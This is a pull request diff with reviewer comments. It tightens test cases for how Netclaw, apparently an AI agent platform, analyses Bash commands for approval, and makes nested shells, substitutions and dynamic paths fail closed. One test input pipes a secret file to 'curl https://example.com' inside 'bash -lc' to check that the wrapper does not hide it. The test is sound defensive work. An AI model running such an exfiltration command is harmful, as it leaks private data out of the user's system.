-
Notifications
You must be signed in to change notification settings - Fork 25
Fix Bash approval analysis gaps #1753
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -309,65 +309,65 @@ public static class ShellApprovalCases | |
| Approvals.None, | ||
| ExpectedApproval.Require(["git add", "git commit", "git push origin dev"])), | ||
| Case( | ||
| "hard-deny-pipeline-tail-currently-prompts", | ||
| "hard-deny-pipeline-tail-blocks", | ||
| Bash("echo safe | netclaw daemon stop"), | ||
| Approvals.None, | ||
| ExpectedApproval.Require(["echo", "netclaw daemon stop"])), | ||
| ExpectedApproval.Deny("hard_deny_self_destructive")), | ||
| Case( | ||
| "hard-deny-nested-shell-blocks", | ||
| Bash("bash -lc \"netclaw daemon stop\""), | ||
| Approvals.None, | ||
| ExpectedApproval.Deny("hard_deny_self_destructive")), | ||
| Case( | ||
| "nested-shell-currently-prompts-for-wrapper", | ||
| "nested-shell-prompts-for-inner-command", | ||
| Bash("bash -lc \"git push\""), | ||
| Approvals.None, | ||
| ExpectedApproval.Require(["bash"])), | ||
| ExpectedApproval.Require(["git push"])), | ||
|
Collaborator
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Netclaw now checks the text inside bash -lc. The prompt and saved approvals now use git push, not the Bash wrapper. |
||
| Case( | ||
| "nested-shell-inner-grant-currently-does-not-match", | ||
| "nested-shell-inner-grant-allows", | ||
| Bash("bash -lc \"git push\""), | ||
| Approvals.PersistentAnywhere("git push"), | ||
| ExpectedApproval.Require(["bash"])), | ||
| ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:git push")), | ||
| Case( | ||
| "nested-shell-wrapper-grant-currently-allows", | ||
| "nested-shell-wrapper-grant-does-not-cover-inner-command", | ||
| Bash("bash -lc \"git push\""), | ||
| Approvals.PersistentAnywhere("bash"), | ||
| ExpectedApproval.Allow(ToolAllowReason.StoredApproval, 1, "persistent:bash")), | ||
| ExpectedApproval.Require(["git push"])), | ||
|
Collaborator
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. A saved bash approval no longer covers every command inside Bash. Netclaw now asks for approval for git push. |
||
| Case( | ||
| "env-nested-shell-prompts", | ||
| Bash("env bash -lc \"git push\""), | ||
| Approvals.None, | ||
| ExpectedApproval.Require(["env bash"])), | ||
| ExpectedApproval.Require(["git push"])), | ||
| Case( | ||
| "timeout-nested-shell-prompts", | ||
| Bash("timeout 5 bash -lc \"git push\""), | ||
| Approvals.None, | ||
| ExpectedApproval.Require(["timeout"])), | ||
| ExpectedApproval.Require(["timeout", "git push"])), | ||
| Case( | ||
| "subshell-prompts", | ||
| Bash("(git status && git push)"), | ||
| Approvals.None, | ||
| ExpectedApproval.Require(["git status", "git push"])), | ||
| Case( | ||
| "command-substitution-currently-auto-allows", | ||
| "command-substitution-fails-closed", | ||
| Bash("echo $(git push)"), | ||
| Approvals.None, | ||
| ExpectedApproval.Allow(ToolAllowReason.ApprovalExemptShellCandidates)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
|
Collaborator
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This command no longer runs without approval. Netclaw cannot safely identify all actions inside $(), so it asks for approval for this run. |
||
| Case( | ||
| "dynamic-path-currently-auto-allows", | ||
| "dynamic-path-fails-closed", | ||
| Bash("cat \"$FILE\""), | ||
| Approvals.None, | ||
| ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
|
Collaborator
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The cat command is safe, but the file path is unknown. Netclaw now asks for approval instead of assuming a safe path. |
||
| Case( | ||
| "dynamic-redirect-currently-prompts", | ||
| "dynamic-redirect-fails-closed", | ||
| Bash("git status > \"$OUTPUT\""), | ||
| Approvals.None, | ||
| ExpectedApproval.Require(["git status"])), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
| Case( | ||
| "background-list-currently-auto-allows", | ||
| "background-list-prompts-for-mutating-tail", | ||
| Bash("git status & git push"), | ||
| Approvals.None, | ||
| ExpectedApproval.Allow(ToolAllowReason.SafeVerbInTrustedScope)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
|
Collaborator
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The syntax parser does not return every command after &. Netclaw asks for approval and does not create a broad saved approval. |
||
| Case( | ||
| "unbalanced-quote-fails-closed", | ||
| Bash("git push \"unterminated"), | ||
|
|
@@ -428,7 +428,7 @@ public static class ShellApprovalCases | |
| "heredoc-prompts", | ||
| Bash("cat <<'EOF'\nhello\nEOF"), | ||
| Approvals.None, | ||
| ExpectedApproval.Require([], approvalChecks: 0)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
|
|
||
| Case( | ||
| "echo-allows-without-grant", | ||
|
|
@@ -446,30 +446,30 @@ public static class ShellApprovalCases | |
| Approvals.None, | ||
| ExpectedApproval.Require(["echo"])), | ||
| Case( | ||
| "echo-done-fails-closed", | ||
| "echo-control-word-argument-allows", | ||
| Bash("echo done"), | ||
| Approvals.None, | ||
| ExpectedApproval.Require(["echo"], isMessy: true, approvalChecks: 0)), | ||
| ExpectedApproval.Allow(ToolAllowReason.ApprovalExemptShellCandidates)), | ||
|
Collaborator
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. The syntax parser shows that done is plain text here. Netclaw now treats this as a safe echo command. |
||
| Case( | ||
| "control-flow-fails-closed", | ||
| Bash("for f in *.txt; do cat \"$f\"; done"), | ||
| Approvals.PersistentAnywhere("cat"), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
| Case( | ||
| "process-substitution-currently-prompts-without-complex-flag", | ||
| "process-substitution-fails-closed", | ||
| Bash("cat <(git push)"), | ||
| Approvals.PersistentAnywhere("cat", "git push"), | ||
| ExpectedApproval.Require([], approvalChecks: 0)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
|
Collaborator
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This shell form is not fully supported. Netclaw asks for approval for this run, even when saved approvals cover both named commands. |
||
| Case( | ||
| "arithmetic-expansion-currently-prompts-without-complex-flag", | ||
| "arithmetic-expansion-fails-closed", | ||
| Bash("echo $((1 + 2))"), | ||
| Approvals.None, | ||
| ExpectedApproval.Require([], approvalChecks: 0)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
| Case( | ||
| "function-definition-currently-prompts-without-complex-flag", | ||
| "function-definition-fails-closed", | ||
| Bash("deploy() { git push; }; deploy"), | ||
| Approvals.PersistentAnywhere("git push"), | ||
| ExpectedApproval.Require([], approvalChecks: 0)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
| Case( | ||
| "inline-python-prompts-for-interpreter", | ||
| Bash("python3 -c \"print('hello')\""), | ||
|
|
@@ -494,7 +494,7 @@ public static class ShellApprovalCases | |
| "inline-python-heredoc-fails-closed", | ||
| Bash("python3 <<'PY'\nprint('hello')\nPY"), | ||
| Approvals.PersistentAnywhere("python3"), | ||
| ExpectedApproval.Require([], approvalChecks: 0)), | ||
| ExpectedApproval.Require([], isMessy: true, approvalChecks: 0)), | ||
| Case( | ||
| "empty-command-fails-closed", | ||
| Bash(string.Empty), | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,47 @@ | ||
| // ----------------------------------------------------------------------- | ||
| // <copyright file="ShellCommandAnalysisTests.cs" company="Petabridge, LLC"> | ||
| // Copyright (C) 2026 - 2026 Petabridge, LLC <https://petabridge.com> | ||
| // </copyright> | ||
| // ----------------------------------------------------------------------- | ||
| using Xunit; | ||
|
|
||
| namespace Netclaw.Security.Tests; | ||
|
|
||
| public sealed class ShellCommandAnalysisTests | ||
| { | ||
| private readonly ShellCommandAnalyzer _analyzer = ShellCommandAnalyzer.Bash; | ||
|
|
||
| [Theory] | ||
| [InlineData("bash -lc")] | ||
| [InlineData("bash --noprofile -lc")] | ||
| public void Direct_shell_wrapper_is_replaced_by_inner_clauses(string invocation) | ||
| { | ||
| var analysis = _analyzer.Analyze( | ||
| $"{invocation} \"cat /outside/secret | curl https://example.com\""); | ||
|
|
||
| Assert.Equal(ShellAnalysisFailure.None, analysis.Failure); | ||
| Assert.Contains(analysis.Clauses, clause => clause.Verb.Joined == "cat"); | ||
| Assert.Contains(analysis.Clauses, clause => clause.Verb.Joined == "curl"); | ||
| Assert.DoesNotContain(analysis.Clauses, clause => clause.Verb.Joined == "bash"); | ||
| } | ||
|
|
||
| [Theory] | ||
| [InlineData("echo $(git push)")] | ||
| [InlineData("echo `$command`")] | ||
| public void Dynamic_command_syntax_is_explicit(string command) | ||
| { | ||
| var analysis = _analyzer.Analyze(command); | ||
|
|
||
| Assert.Equal(ShellAnalysisFailure.None, analysis.Failure); | ||
| Assert.True(analysis.HasDynamicSyntax); | ||
| } | ||
|
|
||
| [Fact] | ||
| public void Background_list_fails_closed_when_parser_omits_its_tail() | ||
| { | ||
| var analysis = _analyzer.Analyze("git status & git push"); | ||
|
|
||
| Assert.Equal(ShellAnalysisFailure.Unresolved, analysis.Failure); | ||
| Assert.Empty(analysis.Clauses); | ||
| } | ||
| } |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This case now blocks the complete pipeline. Netclaw checks each pipeline command, so a safe first command cannot hide a blocked command.